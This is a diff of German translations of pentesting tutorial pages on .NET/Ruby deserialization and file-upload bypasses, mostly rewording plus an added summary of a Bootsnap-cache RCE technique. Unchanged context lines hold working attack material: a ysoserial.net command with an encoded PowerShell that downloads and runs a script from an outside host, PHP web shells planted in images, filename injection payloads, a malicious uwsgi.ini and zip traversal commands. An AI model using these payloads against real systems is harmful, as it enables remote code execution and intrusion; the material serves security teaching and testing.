-Die Suche sollte auf die Base64-codierte Zeichenfolge **AAEAAAD/////** oder ein ähnliches Muster abzielen, das auf der Serverseite deserialisiert werden könnte, wodurch die Kontrolle über den zu deserialisierenden Typ gewährt wird. Dies könnte JSON- oder XML-Strukturen mit `TypeObject` oder `$type` umfassen.
+Die Suche sollte auf die Base64-codierte Zeichenfolge **AAEAAAD/////** oder ein ähnliches Muster abzielen, das auf der Serverseite deserialisiert werden könnte, wodurch die Kontrolle über den zu deserialisierenden Typ gewährt wird. Dies könnte JSON- oder XML-Strukturen mit `TypeObject` oder `$type` umfassen, ist aber nicht darauf beschränkt.

 ### ysoserial.net

@ -651,13 +651,13 @@ Die Hauptoptionen von **ysoserial.net** sind: **`--gadget`**, **`--formatter`**,

 - **`--gadget`** wird verwendet, um das Gadget anzugeben, das ausgenutzt werden soll (geben Sie die Klasse/Funktion an, die während der Deserialisierung ausgenutzt wird, um Befehle auszuführen).
 - **`--formatter`**, wird verwendet, um die Methode anzugeben, um den Exploit zu serialisieren (Sie müssen wissen, welche Bibliothek im Backend verwendet wird, um die Nutzlast zu deserialisieren, und dieselbe verwenden, um sie zu serialisieren).
- **`--output`** wird verwendet, um anzugeben, ob Sie den Exploit in **raw** oder **base64** codiert haben möchten. _Beachten Sie, dass **ysoserial.net** die Nutzlast mit **UTF-16LE** (Standardkodierung unter Windows) codiert, sodass Sie, wenn Sie die raw-Version erhalten und sie einfach von einer Linux-Konsole aus codieren, möglicherweise einige **Kodierungs-Kompatibilitätsprobleme** haben, die verhindern, dass der Exploit ordnungsgemäß funktioniert (in der HTB JSON-Box funktionierte die Nutzlast sowohl in UTF-16LE als auch in ASCII, aber das bedeutet nicht, dass es immer funktioniert)._
+- **`--output`** wird verwendet, um anzugeben, ob Sie den Exploit in **raw** oder **base64** codiert haben möchten. _Beachten Sie, dass **ysoserial.net** die Nutzlast mit **UTF-16LE** (Standardkodierung unter Windows) codiert, sodass Sie, wenn Sie die raw-Version erhalten und sie einfach von einer Linux-Konsole aus codieren, möglicherweise einige **Kodierungs-Kompatibilitätsprobleme** haben, die verhindern, dass der Exploit ordnungsgemäß funktioniert (in der HTB JSON-Box funktionierte die Nutzlast sowohl in UTF-16LE als auch in ASCII, aber das bedeutet nicht, dass es immer funktionieren wird)._
 - **`--plugin`** ysoserial.net unterstützt Plugins, um **Exploits für spezifische Frameworks** wie ViewState zu erstellen.

 #### Weitere ysoserial.net-Parameter

- `--minify` liefert eine **kleinere Nutzlast** (wenn möglich)
- `--raf -f Json.Net -c "anything"` Dies gibt an, welche Gadgets mit einem angegebenen Formatter (`Json.Net` in diesem Fall) verwendet werden können.
+- `--minify` wird eine **kleinere Nutzlast** bereitstellen (wenn möglich).
+- `--raf -f Json.Net -c "anything"` Dies wird alle Gadgets angeben, die mit einem bereitgestellten Formatter (`Json.Net` in diesem Fall) verwendet werden können.
 - `--sf xml` Sie können **ein Gadget angeben** (`-g`) und ysoserial.net wird nach Formatierern suchen, die "xml" enthalten (nicht großgeschrieben).

 **ysoserial-Beispiele** zur Erstellung von Exploits:
@ -679,8 +679,8 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
 ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
 ```
 **ysoserial.net** hat auch einen **sehr interessanten Parameter**, der hilft, besser zu verstehen, wie jeder Exploit funktioniert: `--test`\
-Wenn Sie diesen Parameter angeben, wird **ysoserial.net** den **Exploit lokal versuchen**, sodass Sie testen können, ob Ihr Payload korrekt funktioniert.\
-Dieser Parameter ist hilfreich, weil Sie, wenn Sie den Code überprüfen, Codeabschnitte wie den folgenden finden werden (aus [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
+Wenn Sie diesen Parameter angeben, wird **ysoserial.net** den **Exploit lokal versuchen,** sodass Sie testen können, ob Ihr Payload korrekt funktioniert.\
+Dieser Parameter ist hilfreich, da Sie, wenn Sie den Code überprüfen, Codeabschnitte wie den folgenden finden werden (aus [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
 ```java
 if (inputArgs.Test)
 {
@ -850,7 +850,7 @@ candidate_methods.length() # Final number of methods=> 3595
 ```
 ### Ruby-Klassenverschmutzung

-Überprüfen Sie, wie es möglich sein könnte, eine Ruby-Klasse zu [verschmutzen und sie hier auszunutzen](ruby-class-pollution.md).
+Überprüfen Sie, wie es möglich sein könnte, eine [Ruby-Klasse zu verschmutzen und sie hier auszunutzen](ruby-class-pollution.md).

 ### Ruby _json-Verschmutzung

@ -924,4 +924,40 @@ Darüber hinaus wurde festgestellt, dass mit der vorherigen Technik ein Ordner i
 ```
 Überprüfen Sie die Details im [**originalen Beitrag**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).

+### Bootstrap Caching
+
+Nicht wirklich eine Deserialisierungsanfälligkeit, sondern ein netter Trick, um das Bootstrap-Caching auszunutzen, um RCE aus einer Rails-Anwendung mit einem beliebigen Dateischreibzugriff zu erhalten (finden Sie den vollständigen [originalen Beitrag hier](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
+
+Unten finden Sie eine kurze Zusammenfassung der Schritte, die im Artikel zum Ausnutzen einer beliebigen Dateischreibanfälligkeit durch Missbrauch des Bootsnap-Cachings detailliert beschrieben sind:
+
+- Identifizieren Sie die Anfälligkeit und die Umgebung
+
+Die Dateiuploadfunktionalität der Rails-App ermöglicht es einem Angreifer, Dateien beliebig zu schreiben. Obwohl die App mit Einschränkungen läuft (nur bestimmte Verzeichnisse wie tmp sind aufgrund des Nicht-Root-Benutzers von Docker beschreibbar), erlaubt dies dennoch das Schreiben in das Bootsnap-Cache-Verzeichnis (typischerweise unter tmp/cache/bootsnap).
+
+- Verstehen Sie den Cache-Mechanismus von Bootsnap
+
+Bootsnap beschleunigt die Startzeiten von Rails, indem es kompilierten Ruby-Code, YAML- und JSON-Dateien cached. Es speichert Cache-Dateien, die einen Cache-Schlüssel-Header enthalten (mit Feldern wie Ruby-Version, Dateigröße, mtime, Kompilierungsoptionen usw.), gefolgt vom kompilierten Code. Dieser Header wird verwendet, um den Cache beim Start der App zu validieren.
+
+- Sammeln Sie Dateimetadaten
+
+Der Angreifer wählt zunächst eine Ziel-Datei aus, die wahrscheinlich während des Rails-Starts geladen wird (zum Beispiel set.rb aus der Standardbibliothek von Ruby). Durch die Ausführung von Ruby-Code im Container extrahieren sie kritische Metadaten (wie RUBY_VERSION, RUBY_REVISION, Größe, mtime und compile_option). Diese Daten sind entscheidend für die Erstellung eines gültigen Cache-Schlüssels.
+
+- Berechnen Sie den Cache-Dateipfad
+
+Durch die Replikation des FNV-1a 64-Bit-Hash-Mechanismus von Bootsnap wird der korrekte Cache-Dateipfad bestimmt. Dieser Schritt stellt sicher, dass die bösartige Cache-Datei genau dort platziert wird, wo Bootsnap sie erwartet (z. B. unter tmp/cache/bootsnap/compile-cache-iseq/).
+
+- Erstellen Sie die bösartige Cache-Datei
+
+Der Angreifer bereitet eine Nutzlast vor, die:
+
+- Beliebige Befehle ausführt (zum Beispiel id ausführt, um Prozessinformationen anzuzeigen).
+- Den bösartigen Cache nach der Ausführung entfernt, um eine rekursive Ausnutzung zu verhindern.
+- Die ursprüngliche Datei (z. B. set.rb) lädt, um einen Absturz der Anwendung zu vermeiden.
+
+Diese Nutzlast wird in binären Ruby-Code kompiliert und mit einem sorgfältig konstruierten Cache-Schlüssel-Header (unter Verwendung der zuvor gesammelten Metadaten und der richtigen Versionsnummer für Bootsnap) verknüpft.
+
+- Überschreiben und Ausführung auslösen
+Mit der Anfälligkeit für beliebige Dateischreibzugriffe schreibt der Angreifer die erstellte Cache-Datei an den berechneten Ort. Anschließend lösen sie einen Serverneustart aus (indem sie in tmp/restart.txt schreiben, das von Puma überwacht wird). Während des Neustarts, wenn Rails die gezielte Datei benötigt, wird die bösartige Cache-Datei geladen, was zu einer Remote-Code-Ausführung (RCE) führt.
+
+
 {{#include ../../banners/hacktricks-training.md}}
--- a/src/pentesting-web/file-upload/README.md
+++ b/src/pentesting-web/file-upload/README.md
@ -40,12 +40,12 @@ Weitere nützliche Erweiterungen:
 - _file.php%0a.png_
 - _file.php%0d%0a.png_
 - _file.phpJunk123png_
-5. Fügen Sie **eine weitere Schicht von Erweiterungen** zur vorherigen Überprüfung hinzu:
+5. Fügen Sie **eine weitere Ebene von Erweiterungen** zur vorherigen Überprüfung hinzu:
 - _file.png.jpg.php_
 - _file.php%00.png%00.jpg_
 6. Versuchen Sie, die **exec-Erweiterung vor der gültigen Erweiterung** zu setzen und beten Sie, dass der Server falsch konfiguriert ist. (nützlich zur Ausnutzung von Apache-Misconfigurationen, bei denen alles mit der Erweiterung **_**.php**_**, aber nicht unbedingt endend in .php** Code ausführt):
 - _ex: file.php.png_
-7. Verwenden von **NTFS-Alternativdatenstrom (ADS)** in **Windows**. In diesem Fall wird ein Doppelpunktzeichen “:” nach einer verbotenen Erweiterung und vor einer erlaubten eingefügt. Infolgedessen wird eine **leere Datei mit der verbotenen Erweiterung** auf dem Server erstellt (z.B. “file.asax:.jpg”). Diese Datei könnte später mit anderen Techniken bearbeitet werden, z.B. mit ihrem kurzen Dateinamen. Das Muster “**::$data**” kann auch verwendet werden, um nicht leere Dateien zu erstellen. Daher kann das Hinzufügen eines Punktzeichens nach diesem Muster auch nützlich sein, um weitere Einschränkungen zu umgehen (z.B. “file.asp::$data.”)
+7. Verwenden von **NTFS-Alternativdatenstrom (ADS)** in **Windows**. In diesem Fall wird ein Doppelpunktzeichen “:” nach einer verbotenen Erweiterung und vor einer erlaubten eingefügt. Infolgedessen wird eine **leere Datei mit der verbotenen Erweiterung** auf dem Server erstellt (z.B. “file.asax:.jpg”). Diese Datei könnte später mit anderen Techniken bearbeitet werden, z.B. mit ihrem kurzen Dateinamen. Das Muster “**::$data**” kann auch verwendet werden, um nicht leere Dateien zu erstellen. Daher kann das Hinzufügen eines Punktzeichens nach diesem Muster auch nützlich sein, um weitere Einschränkungen zu umgehen (.z.B. “file.asp::$data.”)
 8. Versuchen Sie, die Dateinamenlimits zu brechen. Die gültige Erweiterung wird abgeschnitten. Und das bösartige PHP bleibt. AAA<--SNIP-->AAA.php

 ```
@ -61,31 +61,31 @@ AAA<--SNIP 232 A-->AAA.php.png

 ### Umgehung von Content-Type, Magic Number, Kompression & Größenänderung

- Umgehung der **Content-Type**-Überprüfungen, indem der **Wert** des **Content-Type**-**Headers** auf: _image/png_, _text/plain_, application/octet-stream_ gesetzt wird.
+- Umgehung der **Content-Type**-Überprüfungen, indem der **Wert** des **Content-Type** **Headers** auf: _image/png_, _text/plain_, application/octet-stream_ gesetzt wird.
 1. Content-Type **Wortliste**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Umgehung der **Magic Number**-Überprüfung, indem am Anfang der Datei die **Bytes eines echten Bildes** hinzugefügt werden (verwirren Sie den _file_-Befehl). Oder führen Sie die Shell in die **Metadaten** ein:\
+- Umgehung der **Magic Number**-Überprüfung, indem am Anfang der Datei die **Bytes eines echten Bildes** hinzugefügt werden (verwirren Sie den _file_ Befehl). Oder führen Sie die Shell in die **Metadaten** ein:\
 `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
 `\` oder Sie könnten auch **die Payload direkt** in ein Bild einfügen:\
 `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Wenn **Kompression zu Ihrem Bild hinzugefügt wird**, beispielsweise mit einigen Standard-PHP-Bibliotheken wie [PHP-GD](https://www.php.net/manual/fr/book.image.php), sind die vorherigen Techniken nicht nützlich. Sie könnten jedoch die **PLTE-Chunks** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**.
+- Wenn **Kompression** zu Ihrem Bild hinzugefügt wird, z.B. mit einigen Standard-PHP-Bibliotheken wie [PHP-GD](https://www.php.net/manual/fr/book.image.php), sind die vorherigen Techniken nicht nützlich. Sie könnten jedoch die **PLTE-Chunks** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**.
 - [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Die Webseite könnte auch das **Bild** **verkleinern**, indem sie beispielsweise die PHP-GD-Funktionen `imagecopyresized` oder `imagecopyresampled` verwendet. Sie könnten jedoch die **IDAT-Chunks** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**.
+- Die Webseite könnte auch das **Bild** **verkleinern**, z.B. mit den PHP-GD-Funktionen `imagecopyresized` oder `imagecopyresampled`. Sie könnten jedoch die **IDAT-Chunks** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**.
 - [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Eine weitere Technik, um eine Payload zu erstellen, die **eine Größenänderung eines Bildes übersteht**, verwendet die PHP-GD-Funktion `thumbnailImage`. Sie könnten jedoch die **tEXt-Chunks** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**.
+- Eine weitere Technik, um eine Payload zu erstellen, die **eine Größenänderung eines Bildes übersteht**, ist die Verwendung der PHP-GD-Funktion `thumbnailImage`. Sie könnten jedoch die **tEXt-Chunks** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**.
 - [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)

 ### Weitere Tricks zur Überprüfung

- Finden Sie eine Schwachstelle, um die bereits hochgeladene Datei **umzubenennen** (um die Erweiterung zu ändern).
+- Finden Sie eine Schwachstelle, um die Datei, die bereits hochgeladen wurde, **umzubenennen** (um die Erweiterung zu ändern).
 - Finden Sie eine **Local File Inclusion**-Schwachstelle, um die Hintertür auszuführen.
 - **Mögliche Informationsoffenlegung**:
-1. Laden Sie **mehrmals** (und zur **gleichen Zeit**) die **gleiche Datei** mit dem **gleichen Namen** hoch.
+1. Laden Sie die **gleiche Datei** **mehrmals** (und gleichzeitig) mit dem **gleichen Namen** hoch.
 2. Laden Sie eine Datei mit dem **Namen** einer **Datei** oder **Ordners**, der **bereits existiert**.
 3. Laden Sie eine Datei mit **“.”, “..” oder “…” als Namen** hoch. Zum Beispiel, in Apache in **Windows**, wenn die Anwendung die hochgeladenen Dateien im Verzeichnis “/www/uploads/” speichert, wird der Dateiname “.” eine Datei namens “uploads” im Verzeichnis “/www/” erstellen.
 4. Laden Sie eine Datei hoch, die möglicherweise nicht leicht gelöscht werden kann, wie **“…:.jpg”** in **NTFS**. (Windows)
 5. Laden Sie eine Datei in **Windows** mit **ungültigen Zeichen** wie `|<>*?”` in ihrem Namen hoch. (Windows)
 6. Laden Sie eine Datei in **Windows** mit **reservierten** (**verbotenen**) **Namen** wie CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 und LPT9 hoch.
- Versuchen Sie auch, eine **ausführbare Datei** (.exe) oder eine **.html** (weniger verdächtig) hochzuladen, die **Code ausführt**, wenn sie versehentlich vom Opfer geöffnet wird.
+- Versuchen Sie auch, eine **ausführbare** Datei (.exe) oder eine **.html** (weniger verdächtig) hochzuladen, die **Code ausführt**, wenn sie versehentlich vom Opfer geöffnet wird.

 ### Besondere Erweiterungstricks

@ -94,7 +94,7 @@ Wenn Sie versuchen, Dateien auf einen **ASP-Server** hochzuladen, [sehen Sie sic

 Die `.phar`-Dateien sind wie die `.jar` für Java, aber für PHP, und können **wie eine PHP-Datei verwendet werden** (indem sie mit PHP ausgeführt oder in ein Skript eingebunden werden...)

-Die `.inc`-Erweiterung wird manchmal für PHP-Dateien verwendet, die nur zum **Importieren von Dateien** verwendet werden, sodass jemand zu einem bestimmten Zeitpunkt **diese Erweiterung zur Ausführung** zugelassen haben könnte.
+Die `.inc`-Erweiterung wird manchmal für PHP-Dateien verwendet, die nur zum **Importieren von Dateien** verwendet werden, sodass jemand zu einem bestimmten Zeitpunkt **diese Erweiterung zur Ausführung** zulassen könnte.

 ## **Jetty RCE**

@ -106,7 +106,7 @@ Wenn Sie eine XML-Datei auf einen Jetty-Server hochladen können, können Sie [R

 Für eine detaillierte Untersuchung dieser Schwachstelle überprüfen Sie die ursprüngliche Forschung: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).

-Remote Command Execution (RCE) Schwachstellen können in uWSGI-Servern ausgenutzt werden, wenn man die Möglichkeit hat, die `.ini`-Konfigurationsdatei zu ändern. uWSGI-Konfigurationsdateien nutzen eine spezifische Syntax, um "magische" Variablen, Platzhalter und Operatoren einzufügen. Besonders bemerkenswert ist der '@'-Operator, der als `@(filename)` verwendet wird, um den Inhalt einer Datei einzufügen. Unter den verschiedenen unterstützten Schemas in uWSGI ist das "exec"-Schema besonders mächtig, da es das Lesen von Daten aus dem Standardausgang eines Prozesses ermöglicht. Diese Funktion kann für böswillige Zwecke wie Remote Command Execution oder Arbitrary File Write/Read manipuliert werden, wenn eine `.ini`-Konfigurationsdatei verarbeitet wird.
+Remote Command Execution (RCE) Schwachstellen können in uWSGI-Servern ausgenutzt werden, wenn man die Fähigkeit hat, die `.ini`-Konfigurationsdatei zu ändern. uWSGI-Konfigurationsdateien nutzen eine spezifische Syntax, um "magische" Variablen, Platzhalter und Operatoren einzufügen. Besonders der '@'-Operator, der als `@(filename)` verwendet wird, ist dafür gedacht, den Inhalt einer Datei einzufügen. Unter den verschiedenen unterstützten Schemas in uWSGI ist das "exec"-Schema besonders mächtig, da es das Lesen von Daten aus dem Standardausgang eines Prozesses ermöglicht. Diese Funktion kann für böswillige Zwecke wie Remote Command Execution oder Arbitrary File Write/Read manipuliert werden, wenn eine `.ini`-Konfigurationsdatei verarbeitet wird.

 Betrachten Sie das folgende Beispiel einer schädlichen `uwsgi.ini`-Datei, die verschiedene Schemas zeigt:
 ```ini
@ -128,7 +128,7 @@ characters = @(call://uwsgi_func)
 ```
 Die Ausführung des Payloads erfolgt während des Parsens der Konfigurationsdatei. Damit die Konfiguration aktiviert und geparst werden kann, muss der uWSGI-Prozess entweder neu gestartet werden (möglicherweise nach einem Absturz oder aufgrund eines Denial of Service-Angriffs) oder die Datei muss auf automatisches Neuladen eingestellt werden. Die Auto-Reload-Funktion, wenn aktiviert, lädt die Datei in festgelegten Intervallen neu, wenn Änderungen erkannt werden.

-Es ist entscheidend, die nachlässige Natur des Parsens der Konfigurationsdatei von uWSGI zu verstehen. Insbesondere kann der besprochene Payload in eine Binärdatei (wie ein Bild oder PDF) eingefügt werden, was den Umfang potenzieller Ausnutzung weiter erweitert.
+Es ist entscheidend, die nachsichtige Natur des Parsens der uWSGI-Konfigurationsdatei zu verstehen. Insbesondere kann der besprochene Payload in eine Binärdatei (wie ein Bild oder PDF) eingefügt werden, was den Umfang potenzieller Ausnutzung weiter erweitert.

 ## **wget File Upload/SSRF Trick**

@ -168,14 +168,14 @@ Beachten Sie, dass **eine andere Option**, an die Sie denken könnten, um diese
 - Setzen Sie **filename** auf `sleep(10)-- -.jpg` und Sie könnten in der Lage sein, eine **SQL-Injection** zu erreichen.
 - Setzen Sie **filename** auf `<svg onload=alert(document.domain)>`, um eine XSS zu erreichen.
 - Setzen Sie **filename** auf `; sleep 10;`, um einige Befehlsinjektionen zu testen (mehr [Befehlsinjektions-Tricks hier](../command-injection.md)).
- [**XSS** beim Hochladen von Bild (svg) Dateien](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** Datei **Upload** + **XSS** = [**Service Workers** Ausnutzung](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg Upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** durch Hochladen einer svg-Datei](../open-redirect.md#open-redirect-uploading-svg-files)
- Versuchen Sie **verschiedene svg Payloads** von [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
- [Berühmte **ImageTrick** Schwachstelle](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
+- [**XSS** beim Hochladen von Bild (svg) Dateien](../xss-cross-site-scripting/index.html#xss-uploading-files-svg).
+- **JS** Datei **Upload** + **XSS** = [**Service Workers** Ausnutzung](../xss-cross-site-scripting/index.html#xss-abusing-service-workers).
+- [**XXE in svg Upload**](../xxe-xee-xml-external-entity.md#svg-file-upload).
+- [**Open Redirect** durch Hochladen einer svg-Datei](../open-redirect.md#open-redirect-uploading-svg-files).
+- Versuchen Sie **verschiedene svg-Payloads** von [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*.
+- [Berühmte **ImageTrick** Schwachstelle](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/).
 - Wenn Sie **den Webserver anweisen können, ein Bild von einer URL abzurufen**, könnten Sie versuchen, eine [SSRF](../ssrf-server-side-request-forgery/index.html) auszunutzen. Wenn dieses **Bild** auf einer **öffentlichen** Seite **gespeichert** wird, könnten Sie auch eine URL von [https://iplogger.org/invisible/](https://iplogger.org/invisible/) angeben und **Informationen von jedem Besucher stehlen**.
- [**XXE und CORS** Umgehung mit PDF-Adobe Upload](pdf-upload-xxe-and-cors-bypass.md)
+- [**XXE und CORS** Umgehung mit PDF-Adobe Upload](pdf-upload-xxe-and-cors-bypass.md).
 - Speziell gestaltete PDFs für XSS: Die [folgende Seite zeigt, wie man **PDF-Daten injiziert, um JS-Ausführung zu erhalten**](../xss-cross-site-scripting/pdf-injection.md). Wenn Sie PDFs hochladen können, könnten Sie einige PDFs vorbereiten, die beliebiges JS ausführen, gemäß den gegebenen Anweisungen.
 - Laden Sie den \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) Inhalt hoch, um zu überprüfen, ob der Server ein **Antivirus** hat.
 - Überprüfen Sie, ob es eine **Größenbeschränkung** beim Hochladen von Dateien gibt.
@ -188,8 +188,8 @@ Hier ist eine Top-10-Liste von Dingen, die Sie durch Hochladen erreichen können
 4. **CSV**: CSV-Injektion
 5. **XML**: XXE
 6. **AVI**: LFI / SSRF
-7. **HTML / JS** : HTML-Injektion / XSS / Open Redirect
-8. **PNG / JPEG**: Pixel Flood Attack (DoS)
+7. **HTML / JS** : HTML-Injektion / XSS / Offene Umleitung
+8. **PNG / JPEG**: Pixel Flood Angriff (DoS)
 9. **ZIP**: RCE über LFI / DoS
 10. **PDF / PPTX**: SSRF / BLIND XXE

@ -206,23 +206,23 @@ https://github.com/portswigger/upload-scanner

 Verweisen Sie auf [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) für andere Dateitypen.

-### Zip/Tar-Datei automatisch dekomprimiert hochladen
+## Zip/Tar-Datei automatisch dekomprimiert hochladen

 Wenn Sie eine ZIP-Datei hochladen können, die auf dem Server dekomprimiert wird, können Sie 2 Dinge tun:

-#### Symlink
+### Symlink

-Laden Sie einen Link hoch, der symbolische Links zu anderen Dateien enthält. Dann, beim Zugriff auf die dekomprimierten Dateien, werden Sie auf die verlinkten Dateien zugreifen:
+Laden Sie einen Link hoch, der symbolische Links zu anderen Dateien enthält. Dann, beim Zugriff auf die dekomprimierten Dateien, haben Sie Zugriff auf die verlinkten Dateien:
 ```
 ln -s ../../../index.php symindex.txt
 zip --symlinks test.zip symindex.txt
 tar -cvf test.tar symindex.txt
 ```
-### In verschiedenen Ordnern dekomprimieren
+### Decompress in different folders

 Die unerwartete Erstellung von Dateien in Verzeichnissen während der Dekompression ist ein erhebliches Problem. Trotz anfänglicher Annahmen, dass dieses Setup möglicherweise vor der Ausführung von OS-Befehlen durch bösartige Datei-Uploads schützt, können die hierarchische Unterstützung für Kompression und die Verzeichnisdurchquerungsfähigkeiten des ZIP-Archivformats ausgenutzt werden. Dies ermöglicht Angreifern, Einschränkungen zu umgehen und sichere Upload-Verzeichnisse zu verlassen, indem sie die Dekompressionsfunktionalität der angegriffenen Anwendung manipulieren.

-Ein automatisierter Exploit zum Erstellen solcher Dateien ist verfügbar unter [**evilarc auf GitHub**](https://github.com/ptoomey3/evilarc). Das Dienstprogramm kann wie folgt verwendet werden:
+Ein automatisierter Exploit zum Erstellen solcher Dateien ist verfügbar unter [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Das Dienstprogramm kann wie folgt verwendet werden:
 ```python
 # Listing available options
 python2 evilarc.py -h
@ -251,7 +251,7 @@ create_zip()
 ```
 **Missbrauch von Kompression für File Spraying**

-Für weitere Details **prüfen Sie den Originalbeitrag unter**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
+Für weitere Details **überprüfen Sie den Originalbeitrag in**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)

 1.  **Erstellen einer PHP-Shell**: PHP-Code wird geschrieben, um Befehle auszuführen, die über die `$_REQUEST`-Variable übergeben werden.

@ -289,7 +289,7 @@ pop graphic-context
 ```
 ## Einbetten einer PHP-Shell in PNG

-Das Einbetten einer PHP-Shell im IDAT-Chunk einer PNG-Datei kann bestimmte Bildverarbeitungsoperationen effektiv umgehen. Die Funktionen `imagecopyresized` und `imagecopyresampled` aus PHP-GD sind in diesem Zusammenhang besonders relevant, da sie häufig zum Verkleinern und Resampling von Bildern verwendet werden. Die Fähigkeit der eingebetteten PHP-Shell, von diesen Operationen unberührt zu bleiben, ist ein erheblicher Vorteil für bestimmte Anwendungsfälle.
+Das Einbetten einer PHP-Shell im IDAT-Chunk einer PNG-Datei kann bestimmte Bildverarbeitungsoperationen effektiv umgehen. Die Funktionen `imagecopyresized` und `imagecopyresampled` aus PHP-GD sind in diesem Zusammenhang besonders relevant, da sie häufig zum Verkleinern und Resampeln von Bildern verwendet werden. Die Fähigkeit der eingebetteten PHP-Shell, von diesen Operationen unberührt zu bleiben, ist ein erheblicher Vorteil für bestimmte Anwendungsfälle.

 Eine detaillierte Erkundung dieser Technik, einschließlich ihrer Methodik und potenziellen Anwendungen, wird im folgenden Artikel bereitgestellt: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Diese Ressource bietet ein umfassendes Verständnis des Prozesses und seiner Implikationen.

@ -297,14 +297,22 @@ Weitere Informationen unter: [https://www.idontplaydarts.com/2012/06/encoding-we

 ## Polyglot-Dateien

-Polyglot-Dateien dienen als einzigartiges Werkzeug in der Cybersicherheit und fungieren als Chamäleons, die gleichzeitig in mehreren Dateiformaten gültig existieren können. Ein faszinierendes Beispiel ist ein [GIFAR](https://en.wikipedia.org/wiki/Gifar), ein Hybrid, der sowohl als GIF als auch als RAR-Archiv funktioniert. Solche Dateien sind nicht auf diese Kombination beschränkt; Kombinationen wie GIF und JS oder PPT und JS sind ebenfalls möglich.
+Polyglot-Dateien dienen als einzigartiges Werkzeug in der Cybersicherheit und fungieren als Chamäleons, die gleichzeitig in mehreren Dateiformaten gültig existieren können. Ein faszinierendes Beispiel ist ein [GIFAR](https://en.wikipedia.org/wiki/Gifar), ein Hybrid, der sowohl als GIF als auch als RAR-Archiv funktioniert. Solche Dateien sind nicht auf diese Kombination beschränkt; auch Kombinationen wie GIF und JS oder PPT und JS sind möglich.

-Der Hauptnutzen von Polyglot-Dateien liegt in ihrer Fähigkeit, Sicherheitsmaßnahmen zu umgehen, die Dateien basierend auf ihrem Typ überprüfen. Übliche Praktiken in verschiedenen Anwendungen erlauben nur bestimmte Dateitypen zum Hochladen—wie JPEG, GIF oder DOC—um das Risiko potenziell schädlicher Formate (z. B. JS, PHP oder Phar-Dateien) zu mindern. Ein Polyglot kann jedoch, indem es den strukturellen Kriterien mehrerer Dateitypen entspricht, diese Einschränkungen heimlich umgehen.
